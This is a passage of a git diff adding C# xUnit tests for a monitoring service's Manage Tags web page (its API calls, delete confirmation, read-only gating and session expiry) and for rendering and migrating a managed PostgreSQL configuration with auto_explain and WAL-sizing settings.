+        Assert.Equal(new[] { "padding-left:0px", "padding-left:18px", "padding-left:36px", "padding-left:0px" }, Strings(r.GetProperty("padding")));
+        Assert.Equal(new[] { "background:#4E79A7", "null", "null", "background:#E15759" }, Strings(r.GetProperty("swatches")));
+        Assert.Equal(1, r.GetProperty("newRoot").GetInt32());
+    }
+
+    [Fact]
+    public void ACreate_PostsTrimmedFieldsAsJson_AndListsTheRulesItChanged()
+    {
+        if (!TryRun("create", out var r)) return;
+
+        var call = r.GetProperty("calls")[0];
+        Assert.Equal("POST", call.GetProperty("method").GetString());
+        Assert.Equal("/api/server-tags", call.GetProperty("url").GetString());
+        Assert.Equal("application/json", call.GetProperty("contentType").GetString());
+        Assert.Equal("{\"name\":\"New\",\"colour\":\"#112233\"}", call.GetProperty("body").GetRawText());
+        var text = r.GetProperty("text").GetString();
+        Assert.Contains("Tag created.", text);
+        Assert.Contains("Disk rule", text);
+    }
+
+    [Fact]
+    public void AChildCreate_CarriesTheParentId()
+    {
+        if (!TryRun("child", out var r)) return;
+
+        Assert.Equal("{\"name\":\"Kid\",\"parent_id\":3}", r.GetProperty("calls")[0].GetProperty("body").GetRawText());
+    }
+
+    [Fact]
+    public void ARenameConflict_ShowsTheServersMessage_AndKeepsTheFormOpen()
+    {
+        if (!TryRun("rename", out var r)) return;
+
+        var call = r.GetProperty("calls")[0];
+        Assert.Equal("PATCH", call.GetProperty("method").GetString());
+        Assert.Equal("/api/server-tags/1", call.GetProperty("url").GetString());
+        Assert.Equal("{\"name\":\"West\"}", call.GetProperty("body").GetRawText());
+        Assert.Contains("A tag named 'West' already exists under this parent.", r.GetProperty("text").GetString());
+        Assert.Equal(1, r.GetProperty("formOpen").GetInt32());
+    }
+
+    [Fact]
+    public void AnEdit_SendsOnlyChangedFields_AMoveToNoParentIsAnExplicitNull_AndTheSubtreeIsNotOfferedAsParent()
+    {
+        if (!TryRun("patch", out var r)) return;
+
+        Assert.Equal("{\"colour\":\"#aabbcc\",\"parent_id\":null}", r.GetProperty("calls")[0].GetProperty("body").GetRawText());
+        Assert.Equal(new[] { "", "1", "3" }, Strings(r.GetProperty("parentOptions")).Select(v => v).ToArray());
+    }
+
+    [Fact]
+    public void AnInvalidWrite_ShowsTheServersMessageAsIs()
+    {
+        if (!TryRun("invalid", out var r)) return;
+
+        Assert.Contains("'colour' must be #RRGGBB.", r.GetProperty("text").GetString());
+    }
+
+    [Fact]
+    public void ADelete_AsksWithoutConfirm_ListsTheRules_AndRepeatsWithConfirmOnlyWhenAskedAgain()
+    {
+        if (!TryRun("delete", out var r)) return;
+
+        var first = r.GetProperty("afterFirst");
+        Assert.Equal(1, first.GetProperty("calls").GetInt32());
+        Assert.Contains("West rule", first.GetProperty("text").GetString());
+        Assert.Contains("Other rule", first.GetProperty("text").GetString());
+        Assert.Equal(1, first.GetProperty("anyway").GetInt32());
+        var calls = r.GetProperty("calls");
+        Assert.Equal(2, calls.GetArrayLength());
+        Assert.Equal("/api/server-tags/3", calls[0].GetProperty("url").GetString());
+        Assert.Equal("/api/server-tags/3?confirm=true", calls[1].GetProperty("url").GetString());
+        Assert.Contains("Tag deleted.", r.GetProperty("text").GetString());
+        Assert.Contains("West rule", r.GetProperty("text").GetString());
+        Assert.Equal(0, r.GetProperty("selectedAfter").GetInt32());
+    }
+
+    [Fact]
+    public void ADeclinedDeleteDialog_SendsNothing()
+    {
+        if (!TryRun("deleteDeclined", out var r)) return;
+
+        Assert.Equal(0, r.GetProperty("calls").GetInt32());
+    }
+
+    [Fact]
+    public void Apply_SendsOnePostForTheNewlyChecked_AndOneDeleteForTheNewlyUnchecked()
+    {
+        if (!TryRun("assign", out var r)) return;
+
+        Assert.Equal(new[] { true, false, true }, r.GetProperty("before").EnumerateArray().Select(e => e.GetBoolean()).ToArray());
+        var calls = r.GetProperty("calls");
+        Assert.Equal(2, calls.GetArrayLength());
+        Assert.Equal("POST", calls[0].GetProperty("method").GetString());
+        Assert.Equal("/api/server-tags/1/servers", calls[0].GetProperty("url").GetString());
+        Assert.Equal("{\"server_ids\":[11]}", calls[0].GetProperty("body").GetRawText());
+        Assert.Equal("DELETE", calls[1].GetProperty("method").GetString());
+        Assert.Equal("/api/server-tags/1/servers", calls[1].GetProperty("url").GetString());
+        Assert.Equal("{\"server_ids\":[12]}", calls[1].GetProperty("body").GetRawText());
+        Assert.Contains("Cover rule", r.GetProperty("text").GetString());
+    }
+
+    [Fact]
+    public void TheRepaint_KeepsTheSelectedTag_AndTheUncheckedEdits()
+    {
+        if (!TryRun("repaint", out var r)) return;
+
+        Assert.Equal(new[] { "1" }, Strings(r.GetProperty("pressed")));
+        Assert.Equal(new[] { true, true, true }, r.GetProperty("checked").EnumerateArray().Select(e => e.GetBoolean()).ToArray());
+        Assert.Equal(0, r.GetProperty("calls").GetInt32());
+    }
+
+    [Fact]
+    public void AReadOnlySignIn_RendersTheTree_WithEveryWriteControlAbsentAndTheBoxesDisabled()
+    {
+        if (!TryRun("readonly", out var r)) return;
+
+        Assert.Equal(4, r.GetProperty("tree").GetInt32());
+        Assert.Equal(0, r.GetProperty("newRoot").GetInt32());
+        Assert.All(r.GetProperty("writes").EnumerateArray(), e => Assert.Equal(0, e.GetInt32()));
+        Assert.All(r.GetProperty("disabled").EnumerateArray(), e => Assert.True(e.GetBoolean()));
+    }
+
+    private static string[] Methods(JsonElement calls) => calls.EnumerateArray().Select(c => c.GetProperty("method").GetString() + " " + c.GetProperty("url").GetString()).ToArray();
+
+    [Fact]
+    public void ACheckedBoxIsAnIntent_SoAServerAssignedElsewhereIsNeitherUncheckedNorUnassigned()
+    {
+        if (!TryRun("staleEdit", out var r)) return;
+
+        Assert.Equal(new[] { true, true, true, true }, r.GetProperty("checkedAfterTick").EnumerateArray().Select(e => e.GetBoolean()).ToArray());
+        var calls = r.GetProperty("calls");
+        Assert.Equal(new[] { "POST /api/server-tags/1/servers" }, Methods(calls));
+        Assert.Equal("{\"server_ids\":[11]}", calls[0].GetProperty("body").GetRawText());
+    }
+
+    [Fact]
+    public void ARefresh_KeepsTheOpenFormsInputElementAndItsTypedValue()
+    {
+        if (!TryRun("tickForm", out var r)) return;
+
+        Assert.True(r.GetProperty("same").GetBoolean());
+        Assert.Equal("Typed", r.GetProperty("value").GetString());
+        Assert.Equal(1, r.GetProperty("forms").GetInt32());
+    }
+
+    [Fact]
+    public void ARefresh_UpdatesTheFormsParentOptions_WithoutReplacingTheTypedField()
+    {
+        if (!TryRun("tickParents", out var r)) return;
+
+        Assert.True(r.GetProperty("same").GetBoolean());
+        Assert.Contains("5", Strings(r.GetProperty("options")));
+    }
+
+    [Fact]
+    public void ADoubleClickOnDeleteAnyway_SendsOneConfirmedDelete_AndListsTheRules()
+    {
+        if (!TryRun("dblDelete", out var r)) return;
+
+        Assert.Equal(new[] { "DELETE /api/server-tags/3", "DELETE /api/server-tags/3?confirm=true" }, Methods(r.GetProperty("calls")));
+        Assert.Empty(r.GetProperty("errors").EnumerateArray());
+        Assert.Contains("West rule", r.GetProperty("text").GetString());
+    }
+
+    [Fact]
+    public void ADoubleClickOnSave_SendsOnePost_WithNoError()
+    {
+        if (!TryRun("dblSave", out var r)) return;
+
+        Assert.Equal(new[] { "POST /api/server-tags" }, Methods(r.GetProperty("calls")));
+        Assert.Empty(r.GetProperty("errors").EnumerateArray());
+    }
+
+    [Fact]
+    public void ADoubleClickOnApply_SendsOnePostAndOneDelete()
+    {
+        if (!TryRun("dblApply", out var r)) return;
+
+        Assert.Equal(new[] { "POST /api/server-tags/1/servers", "DELETE /api/server-tags/1/servers" }, Methods(r.GetProperty("calls")));
+        Assert.Empty(r.GetProperty("errors").EnumerateArray());
+    }
+
+    [Fact]
+    public void AnEditAnswered404_ClosesTheFormAndReReadsTheTree()
+    {
+        if (!TryRun("editGone", out var r)) return;
+
+        Assert.Equal(0, r.GetProperty("formOpen").GetInt32());
+        Assert.Equal(0, r.GetProperty("node").GetInt32());
+        Assert.Contains("No such tag.", r.GetProperty("text").GetString());
+    }
+
+    [Fact]
+    public void WhenThePostLandsAndTheDeleteFails_TheRulesGatheredSoFarAreShownWithTheError()
+    {
+        if (!TryRun("partial", out var r)) return;
+
+        Assert.Equal(2, r.GetProperty("calls").GetInt32());
+        Assert.Contains("Store unavailable.", r.GetProperty("text").GetString());
+        Assert.Contains("Gained rule", r.GetProperty("text").GetString());
+    }
+
+    [Theory]
+    [InlineData(403, "This session is read-only, so the change was not made.")]
+    [InlineData(404, "No such tag.")] // an unknown parent, not a gone tag
+    [InlineData(415, "Content-Type must be application/json.")]
+    [InlineData(500, "Boom.")]
+    [InlineData(0, "Network error: connection refused")]
+    public void AFailedWrite_ShowsTheHouseMessage_AndKeepsTheForm(int status, string message)
+    {
+        if (!TryRun("refusal:" + status, out var r)) return;
+
+        Assert.Contains(message, r.GetProperty("text").GetString());
+        Assert.Equal(1, r.GetProperty("formOpen").GetInt32());
+        Assert.Equal("Keep me", r.GetProperty("kept").GetString());
+    }
+
+    /// <summary>#5240 review finding 2: the write transport reports session expiry the way <c>send</c> always has. A 401, a 2xx whose body is
+    /// a sign-in page and a 2xx whose body is empty each hand over to the shell once with the house message and "/" (never the body's
+    /// own login), and none of them reads as a saved change.</summary>
+    [Theory]
+    [InlineData("401")]
+    [InlineData("html")]
+    [InlineData("empty")]
+    public void AWriteTheSessionGateAnswers_HandsOverToTheShellOnce_AndShowsNoSuccess(string answer)
+    {
+        if (!TryRun("expiry:" + answer, out var r)) return;
+
+        var hand = Assert.Single(r.GetProperty("expired").EnumerateArray().ToArray());
+        Assert.Equal("Your session has expired. Sign in again.", hand[0].GetString());
+        Assert.Equal("/", hand[1].GetString());
+        var text = r.GetProperty("text").GetString();
+        Assert.Contains("Your session has expired. Sign in again.", text);
+        Assert.DoesNotContain("Tag created.", text);
+        Assert.Equal(1, r.GetProperty("writes").GetInt32());
+        Assert.Equal(1, r.GetProperty("formOpen").GetInt32());
+    }
+
+    [Fact]
+    public void AnEditAnsweredUnknownParent_KeepsTheFormTheNameAndTheTicks_AndResetsTheParent()
+    {
+        if (!TryRun("editParent", out var r)) return;
+
+        Assert.Contains("Parent tag 2 does not exist.", r.GetProperty("text").GetString());
+        Assert.Equal(1, r.GetProperty("formOpen").GetInt32());
+        Assert.Equal("Renamed", r.GetProperty("kept").GetString());
+        Assert.Equal("", r.GetProperty("parent").GetString());
+        Assert.Equal(1, r.GetProperty("sel").GetInt32());
+        Assert.Equal(1, r.GetProperty("apply").GetInt32());
+    }
+
+    [Fact]
+    public void WhileAWriteIsInFlight_CancelAndTheFormOpenersAreDisabled_AndComeBackAfter()
+    {
+        if (!TryRun("busyCancel", out var r)) return;
+
+        Assert.True(r.GetProperty("during").GetProperty("cancel").GetBoolean());
+        Assert.True(r.GetProperty("during").GetProperty("opener").GetBoolean());
+        Assert.False(r.GetProperty("after").GetBoolean());
+    }
+
+    [Fact]
+    public void AfterARefusalSettles_ASecondSaveSendsASecondRequest()
+    {
+        if (!TryRun("secondSave", out var r)) return;
+
+        Assert.Equal(2, r.GetProperty("calls").GetInt32());
+    }
+
+    [Fact]
+    public void WhenTheBaselineGainsTheTickedServerElsewhere_ApplySendsNothing()
+    {
+        if (!TryRun("baselineAgrees", out var r)) return;
+
+        Assert.Equal(0, r.GetProperty("requests").GetInt32());
+        Assert.Contains("No assignment changes", r.GetProperty("text").GetString());
+    }
+
+    [Theory]
+    [InlineData(403, "This session is read-only, so the change was not made.")]
+    [InlineData(500, "Refused 500.")]
+    [InlineData(415, "Refused 415.")]
+    public void AFailedDelete_ShowsTheHouseMessage_AndKeepsTheSelection(int status, string message)
+    {
+        if (!TryRun("deleteRefusal:" + status, out var r)) return;
+
+        Assert.Contains(message, r.GetProperty("text").GetString());
+        Assert.Equal(1, r.GetProperty("selected").GetInt32());
+    }
+}
diff --git a/Darling/Darling.Tests/ManageTagsPageTests.cs b/Darling/Darling.Tests/ManageTagsPageTests.cs
new file mode 100644
index 0000000000..6e7b1ae056
--- /dev/null
+++ b/Darling/Darling.Tests/ManageTagsPageTests.cs
@@ -0,0 +1,99 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using Xunit;
+using static Darling.Tests.RepoFile;
+
+namespace Darling.Tests;
+
+/// <summary>Source pins for the Manage Tags page: the fleet read it reuses, the five write routes and their methods, the can_edit gate, the delete confirm and the nav wiring.</summary>
+public sealed class ManageTagsPageTests
+{
+    private static string Page() =>
+        ReadRepoFile("Darling", "PerformanceMonitor.Darling.Service", "wwwroot", "js", "pages", "manage-tags.js").ReplaceLineEndings("\n");
+
+    private static string Wwwroot(params string[] parts) =>
+        ReadRepoFile([.. new[] { "Darling", "PerformanceMonitor.Darling.Service", "wwwroot" }, .. parts]).ReplaceLineEndings("\n");
+
+    [Fact]
+    public void ThePageReusesTheFleetRead_AndAddsNoReadRoute()
+    {
+        var page = Page();
+        Assert.Contains("const res = await apiGetFleet();", page);
+        Assert.Contains("state.forest = Array.isArray(d.tags) ? d.tags : [];", page);
+        Assert.Contains("state.cards = Array.isArray(d.cards) ? d.cards : [];", page);
+        Assert.DoesNotContain("get_fleet_overview", page);
+        Assert.DoesNotContain("fetch(\"/api/", page);
+    }
+
+    [Fact]
+    public void EachWriteUsesItsRouteAndMethod()
+    {
+        var page = Page();
+        Assert.Contains("const createTag = (body) => send(\"POST\", \"/api/server-tags\", body);", page);
+        Assert.Contains("const patchTag = (id, body) => send(\"PATCH\", tagPath(id), body);", page);
+        Assert.Contains("send(\"DELETE\", tagPath(id) + (confirm ? \"?confirm=true\" : \"\"))", page);
+        Assert.Contains("send(\"POST\", tagPath(id) + \"/servers\", { server_ids: ids })", page);
+        Assert.Contains("send(\"DELETE\", tagPath(id) + \"/servers\", { server_ids: ids })", page);
+        /* #5240: the write transport moved to util.js's apiWrite, so the JSON content type the server demands of every
+           mutation (a 415 otherwise) is declared there, once. The pin follows it: the page must send through apiWrite,
+           and apiWrite itself (not apiSend, which carries the same header line) must declare the header. */
+        Assert.Contains("const res = await apiWrite(method, path, body);", page);
+        // #5356: a 2xx that is JSON but not an object is an error answer here, not a saved change and not an expired session.
+        Assert.Contains("if (res.unexpected) return { kind: \"error\"", page);
+        Assert.DoesNotContain("fetch(", page);
+        var util = Wwwroot("js", "util.js");
+        var write = util.IndexOf("export async function apiWrite(method, path, body) {", System.StringComparison.Ordinal);
+        Assert.True(write >= 0, "util.js no longer exports apiWrite");
+        var writeBody = util.Substring(write, util.IndexOf("\n}\n", write, System.StringComparison.Ordinal) - write);
+        Assert.Contains("\"Content-Type\": \"application/json\"", writeBody);
+    }
+
+    [Fact]
+    public void TheDeleteConfirmBranchesOnTheStatusWord_NotOnMessageText()
+    {
+        var page = Page();
+        Assert.Contains("if (status === 409 && b.status === \"confirm_required\") return { kind: \"confirm\"", page);
+        Assert.Contains("const res = await deleteTag(tag.id, false);", page);
+        Assert.Contains("const res = await deleteTag(pending.id, true);", page);
+        Assert.DoesNotContain(".includes(\"already exists\")", page);
+        Assert.DoesNotContain("message.match", page);
+    }
+
+    [Fact]
+    public void EditAffordancesAreGatedOnCanEdit()
+    {
+        var page = Page();
+        Assert.Contains("const canEdit = !!session.can_edit;", page);
+        Assert.Contains("const newRoot = canEdit ?", page);
+        Assert.Contains("const actions = state.canEdit\n", page);
+        Assert.Contains("box.disabled = !state.canEdit;", page);
+        Assert.Contains("if (state.canEdit) {\n    nodes.push(", page);
+    }
+
+    [Fact]
+    public void TheStateLivesAtModuleScope_AndNoMarkupOrInlineHandlerIsBuilt()
+    {
+        var page = Page();
+        Assert.Contains("let selectedId = null;", page);
+        Assert.Contains("const edits = new Map();", page);
+        Assert.DoesNotContain("innerHTML", page);
+        Assert.DoesNotContain("onclick=", page);
+    }
+
+    [Fact]
+    public void TheNavEntryAndTheRouteAreWired()
+    {
+        Assert.Contains("<a data-route=\"manage-tags\" href=\"#/manage-tags\">Manage Tags</a>", Wwwroot("index.html"));
+        var app = Wwwroot("js", "app.js");
+        Assert.Contains("import { renderManageTags } from \"./pages/manage-tags.js\";", app);
+        Assert.Contains("if (h === \"#/manage-tags\") return { name: \"manageTags\" };", app);
+        Assert.Contains("else if (r.name === \"manageTags\") renderManageTags(main);", app);
+        Assert.Contains("if (r.name === \"manageTags\") return \"manage-tags\";", app);
+    }
+}
diff --git a/Darling/Darling.Tests/ManagedConfFileLiveTests.cs b/Darling/Darling.Tests/ManagedConfFileLiveTests.cs
index d86cb71c1e..852be7f01e 100644
--- a/Darling/Darling.Tests/ManagedConfFileLiveTests.cs
+++ b/Darling/Darling.Tests/ManagedConfFileLiveTests.cs
@@ -420,6 +420,62 @@ public async Task SecondStart_UnchangedInputs_DoesNotRewriteFile_Gated()
         }
     }
 
+    /// <summary>
+    /// #5459: the same two-start proof as <see cref="SecondStart_UnchangedInputs_DoesNotRewriteFile_Gated"/>, with
+    /// the free space each start reads planted on either side of the 128 GiB edge of the WAL ladder (the runner's
+    /// disk cannot be steered there, and a runner standing next to an edge is what failed that test: the second
+    /// start derived another <c>max_wal_size</c>, so the body changed and the file was rewritten). The planted
+    /// movement is 400 MB, what a busy machine moves a volume by between two starts. The file must stay
+    /// byte-identical with an unchanged write time, and still hold the rung the first start wrote.
+    /// </summary>
+    [Fact]
+    public async Task SecondStart_FreeSpaceCrossesWalLadderEdge_DoesNotRewriteFile_Gated()
+    {
+        const long gib = 1024L * 1024 * 1024;
+        const long mib = 1024L * 1024;
+        var runtimeRoot = SkipUnlessRuntimeAvailable();
+        var root = Directory.CreateTempSubdirectory("darling-managedconf-");
+        var dataDirectory = Path.Combine(root.FullName, "pg");
+        var config = new PostgresConfig { Managed = true, Port = DarlingManagedPostgresTests.FindFreeTcpPort(), DataDirectory = dataDirectory };
+        try
+        {
+            using var timeout = new CancellationTokenSource(TimeSpan.FromMinutes(5));
+
+            var first = new DarlingManagedPostgres(config, NullLogger.Instance, runtimeRoot)
+            {
+                TestOnlyVolumeSpaceReader = _ => (128 * gib - 200 * mib, 512 * gib),
+            };
+            await first.EnsureRunningAsync(timeout.Token);
+            await first.StopIfStartedByThisProcessAsync();
+
+            var managedPath = Path.Combine(dataDirectory, ManagedConfFile.FileName);
+            var textAfterFirst = File.ReadAllText(managedPath);
+            var bytesAfterFirst = File.ReadAllBytes(managedPath);
+            var writeTimeAfterFirst = File.GetLastWriteTimeUtc(managedPath);
+            Assert.Contains("max_wal_size = '8192MB'", textAfterFirst, StringComparison.Ordinal);
+
+            var second = new DarlingManagedPostgres(config, NullLogger.Instance, runtimeRoot)
+            {
+                TestOnlyVolumeSpaceReader = _ => (128 * gib + 200 * mib, 512 * gib),
+            };
+            await second.EnsureRunningAsync(timeout.Token);
+            try
+            {
+                Assert.True(second.StartedByThisProcess);
+                Assert.Equal(bytesAfterFirst, File.ReadAllBytes(managedPath));
+                Assert.Equal(writeTimeAfterFirst, File.GetLastWriteTimeUtc(managedPath));
+            }
+            finally
+            {
+                await second.StopIfStartedByThisProcessAsync();
+            }
+        }
+        finally
+        {
+            DarlingManagedPostgresTests.TryDeleteRecursive(root.FullName);
+        }
+    }
+
     private static int CountOccurrences(string text, string value)
     {
         var count = 0;
diff --git a/Darling/Darling.Tests/ManagedConfFileTests.cs b/Darling/Darling.Tests/ManagedConfFileTests.cs
index 6f420fb30d..63a042bdb5 100644
--- a/Darling/Darling.Tests/ManagedConfFileTests.cs
+++ b/Darling/Darling.Tests/ManagedConfFileTests.cs
@@ -438,6 +438,53 @@ public void HandEditedPreviousVersionRender_IsLeftInForce_AndTheDiffNamesRandomP
         Assert.Contains(diffs, d => d.Key == "checkpoint_timeout");
     }
 
+    /// <summary>v18 is one of the builders <see cref="ManagedConfFile.RenderBody"/> calls: the rendered body
+    /// carries exactly one preload line, <c>timescaledb,pg_stat_statements,auto_explain</c> (v18's list wins
+    /// over v13's), and every <c>auto_explain.*</c> setting, once.</summary>
+    [Fact]
+    public void RenderBody_CarriesAutoExplain_OnePreloadLine_AndEverySetting()
+    {
+        var body = ManagedConfFile.RenderBody(SampleInputs());
+
+        Assert.Equal(1, CountOccurrences(body, "shared_preload_libraries = '"));
+        Assert.Contains("shared_preload_libraries = 'timescaledb,pg_stat_statements,auto_explain'", body, StringComparison.Ordinal);
+        foreach (var setting in new[]
+        {
+            "auto_explain.log_min_duration = '10s'",
+            "auto_explain.log_analyze = 'off'",
+            "auto_explain.log_format = 'json'",
+            "auto_explain.log_nested_statements = 'off'",
+            "auto_explain.log_verbose = 'on'",
+            "auto_explain.log_settings = 'on'",
+            "auto_explain.log_parameter_max_length = '0'",
+        })
+        {
+            Assert.Equal(1, CountOccurrences(body, setting));
+        }
+    }
+
+    /// <summary>An operator library already in force survives the v18 merge, and auto_explain is last.</summary>
+    [Fact]
+    public void RenderBody_V18Merge_KeepsAnOperatorLibrary_AndAppendsAutoExplainLast()
+    {
+        var body = ManagedConfFile.RenderBody(SampleInputs(effectivePreloadList: "timescaledb,pg_prewarm"));
+
+        Assert.Contains("shared_preload_libraries = 'timescaledb,pg_prewarm,pg_stat_statements,auto_explain'", body, StringComparison.Ordinal);
+    }
+
+    /// <summary>A render over a list that already holds auto_explain is byte-identical to a second render
+    /// over the list that render produced: the merge is idempotent across starts.</summary>
+    [Fact]
+    public void RenderBody_V18Merge_IsIdempotentAcrossStarts()
+    {
+        var first = ManagedConfFile.RenderBody(SampleInputs(effectivePreloadList: "timescaledb"));
+        var preload = Assert.Single(ManagedConfFile.DiffBodyKeys(string.Empty, first), d => d.Key == "shared_preload_libraries");
+
+        var second = ManagedConfFile.RenderBody(SampleInputs(effectivePreloadList: preload.RenderedValue));
+
+        Assert.Equal(first, second);
+    }
+
     /// <summary>Pin: <see cref="ManagedConfFile.RenderBody"/> always renders <c>listen_addresses</c> as
     /// exactly loopback (<c>DarlingManagedPostgres.BuildConfAppend</c>'s v1 line) — never the network
     /// address an exposed store's command line adds. Every verification path that reads this rendered text
@@ -596,6 +643,11 @@ public void RenderBody_CarriesEveryManagedConfMarkersOwnedKeys()
             return DarlingManagedPostgres.BuildLogLinePrefixConfAppend();
         }
 
+        if (marker == DarlingManagedPostgres.ConfMarkerV18)
+        {
+            return DarlingManagedPostgres.BuildSlowPlanConfAppend(inputs.EffectivePreloadList);
+        }
+
         throw new InvalidOperationException(
             $"marker '{marker}' is in AllManagedConfMarkers but has no representative-block mapping in this parity test -- add one.");
     }
diff --git a/Darling/Darling.Tests/ManagedConfMigrationTests.cs b/Darling/Darling.Tests/ManagedConfMigrationTests.cs
index bd82e8beff..6a6d183b6b 100644
--- a/Darling/Darling.Tests/ManagedConfMigrationTests.cs
+++ b/Darling/Darling.Tests/ManagedConfMigrationTests.cs
@@ -68,6 +68,77 @@ public void ClassifyLines_UntouchedV17Block_IsOurs()
         Assert.Equal(DarlingManagedPostgres.ConfMarkerV17, prefix.BlockMarker);
     }
 
+    [Fact]
+    public void ClassifyLines_UntouchedV18Block_IsAllOurs()
+    {
+        var conf = DarlingManagedPostgres.BuildSlowPlanConfAppend("timescaledb,pg_stat_statements");
+        var lines = ClassifyLines(conf);
+
+        var owned = lines.Where(l => l.Key is not null).ToArray();
+        Assert.Equal(8, owned.Length);
+        Assert.All(owned, l =>
+        {
+            Assert.Equal(ConfLineClassification.Ours, l.Classification);
+            Assert.Equal(DarlingManagedPostgres.ConfMarkerV18, l.BlockMarker);
+        });
+        Assert.Contains(owned, l => l.Key == DarlingManagedPostgres.PreloadSetting);
+    }
+
+    [Fact]
+    public void CoveredMarkers_IncludesV18_LastInAppendOrder()
+        => Assert.Equal(DarlingManagedPostgres.ConfMarkerV18, CoveredMarkers[^1]);
+
+    [Fact]
+    public void ClassifyLines_EditedV18LogMinDuration_IsHandEdit_RebuildMismatch()
+    {
+        var edited = DarlingManagedPostgres.BuildSlowPlanConfAppend("timescaledb,pg_stat_statements").Replace(
+            "auto_explain.log_min_duration = 10s", "auto_explain.log_min_duration = 1s", System.StringComparison.Ordinal);
+
+        var duration = FindByText(ClassifyLines(edited), "auto_explain.log_min_duration");
+
+        Assert.Equal(ConfLineClassification.HandEdit, duration.Classification);
+        Assert.Equal(HandEditReason.RebuildMismatch, duration.Reason);
+    }
+
+    [Fact]
+    public void ClassifyLines_V18PreloadDifferentForm_IsHandEdit_FormMismatch()
+    {
+        var edited = DarlingManagedPostgres.BuildSlowPlanConfAppend("timescaledb,pg_stat_statements").Replace(
+            "shared_preload_libraries = 'timescaledb,pg_stat_statements,auto_explain'",
+            "shared_preload_libraries = 'timescaledb, pg_stat_statements, auto_explain'",
+            System.StringComparison.Ordinal);
+
+        var preload = FindByText(ClassifyLines(edited), DarlingManagedPostgres.PreloadSetting);
+
+        Assert.Equal(ConfLineClassification.HandEdit, preload.Classification);
+        Assert.Equal(HandEditReason.FormMismatch, preload.Reason);
+    }
+
+    /// <summary>A line the v18 block never writes, sitting inside it, is a hand edit.</summary>
+    [Fact]
+    public void ClassifyLines_UnknownKeyInsideV18Block_IsHandEdit()
+    {
+        var edited = DarlingManagedPostgres.BuildSlowPlanConfAppend(null) + "auto_explain.log_buffers = on\n";
+
+        var buffers = FindByText(ClassifyLines(edited), "auto_explain.log_buffers");
+
+        Assert.Equal(ConfLineClassification.HandEdit, buffers.Classification);
+    }
+
+    /// <summary>A v13 block beside a v18 block stays Ours in full: v13's preload line (a different list from
+    /// v18's) and v18's both pass the shared form test.</summary>
+    [Fact]
+    public void ClassifyLines_V13BesideV18_StaysOurs()
+    {
+        var conf = DarlingManagedPostgres.BuildStatementStatisticsConfAppend(null)
+            + DarlingManagedPostgres.BuildSlowPlanConfAppend("timescaledb,pg_stat_statements");
+
+        var owned = ClassifyLines(conf).Where(l => l.Key is not null).ToArray();
+
+        Assert.Equal(10, owned.Length);
+        Assert.All(owned, l => Assert.Equal(ConfLineClassification.Ours, l.Classification));
+    }
+
     [Fact]
     public void ClassifyLines_UntouchedV13PreloadLine_IsOurs()
     {
diff --git a/Darling/Darling.Tests/ManagedConfRehearsalTests.cs b/Darling/Darling.Tests/ManagedConfRehearsalTests.cs
index e42de80fe7..b93edacb8c 100644
--- a/Darling/Darling.Tests/ManagedConfRehearsalTests.cs
+++ b/Darling/Darling.Tests/ManagedConfRehearsalTests.cs
@@ -27,13 +27,13 @@ namespace Darling.Tests;
 /// stay exactly where it is); and <c>log_timezone = 'UTC'</c> at the end (a key no managed block owns, so it
 /// stays exactly where it is too).
 ///
-/// <para><b>This fixture's numbers</b> are 69 lines removed / 27 managed keys / 1 operator line moved.
+/// <para><b>This fixture's numbers</b> are 69 lines removed / 34 managed keys / 1 operator line moved.
 /// The "1 operator line moved" is exactly what the rewrite logic requires. The counts below explain why they
-/// are 69/27 rather than some other plausible pair, given how today's builders emit their blocks:
+/// are 69/34 rather than some other plausible pair, given how today's builders emit their blocks:
 /// <list type="bullet">
-/// <item><b>managed keys 27 vs 23.</b> <see cref="ManagedConfFile.RenderBody"/> emits one line per key
+/// <item><b>managed keys 34 vs 23.</b> <see cref="ManagedConfFile.RenderBody"/> emits one line per key
 /// <see cref="DarlingManagedPostgres.ParseConfText"/> reads back from calling every <c>Build*ConfAppend</c> in
-/// order with THIS PR's inputs (RAM authoritative, disk authoritative, PostgreSQL 18) — today that is 27 keys.
+/// order with THIS PR's inputs (RAM authoritative, disk authoritative, PostgreSQL 18) — today that is 34 keys.
 /// One extra key is <c>min_wal_size</c>: v12's WAL-sizing block
 /// (<see cref="DarlingManagedPostgres.BuildWalSizingConfAppend"/>) writes both <c>max_wal_size</c> AND
 /// <c>min_wal_size</c>, and nothing later in the v1-v14 order overwrites the second one, so it survives the
@@ -115,7 +115,7 @@ private static string FindRepoRootedFile(string relativePath)
         throw new FileNotFoundException($"Could not locate '{relativePath}' walking up from '{AppContext.BaseDirectory}'.");
     }
 
-    /// <summary>The rehearsal's headline numbers (see the class doc comment for why 69/27 rather than the
+    /// <summary>The rehearsal's headline numbers (see the class doc comment for why 69/34 rather than the
     /// design's 48/23): lines removed, managed keys in the map handed to <c>Rewrite</c>, and operator lines
     /// moved below the include — the last of which holds exactly at 1, as required.</summary>
     [Fact]
@@ -130,11 +130,33 @@ public void Rewrite_RehearsalFixture_LinesRemovedManagedKeysAndOperatorLinesMove
         var afterLineCount = result.NewConfText.Split('\n').Length;
 
         Assert.Equal(69, beforeLineCount - afterLineCount);
-        Assert.Equal(27, managedValues.Count);
+        Assert.Equal(34, managedValues.Count);
         Assert.Single(result.ExcludedKeys);
         Assert.Contains("max_connections", result.ExcludedKeys);
     }
 
+    /// <summary>v18 (auto_explain, part of #5097): the fixture with a v18 block appended, the way a Legacy
+    /// store that has just been healed carries it, migrates with every v18 line dropped as OURS -- none of the
+    /// seven <c>auto_explain.*</c> settings and no v18 marker is left in <c>postgresql.conf</c> -- and the
+    /// operator line still moves exactly once. The managed file carries them instead
+    /// (<see cref="BuildManagedValues"/>).</summary>
+    [Fact]
+    public void Rewrite_RehearsalFixtureWithV18Appended_DropsEveryV18Line_AndMovesTheSameOperatorLine()
+    {
+        var withV18 = ReadFixture() + DarlingManagedPostgres.BuildSlowPlanConfAppend("timescaledb,pg_stat_statements");
+        var managedValues = BuildManagedValues();
+
+        var result = Rewrite(withV18, managedValues, configuredPort: 5432);
+
+        Assert.DoesNotContain("auto_explain", result.NewConfText, StringComparison.Ordinal);
+        Assert.DoesNotContain(DarlingManagedPostgres.ConfMarkerV18, result.NewConfText, StringComparison.Ordinal);
+        Assert.Equal("10s", managedValues["auto_explain.log_min_duration"]);
+        Assert.Equal("timescaledb,pg_stat_statements,auto_explain", managedValues["shared_preload_libraries"]);
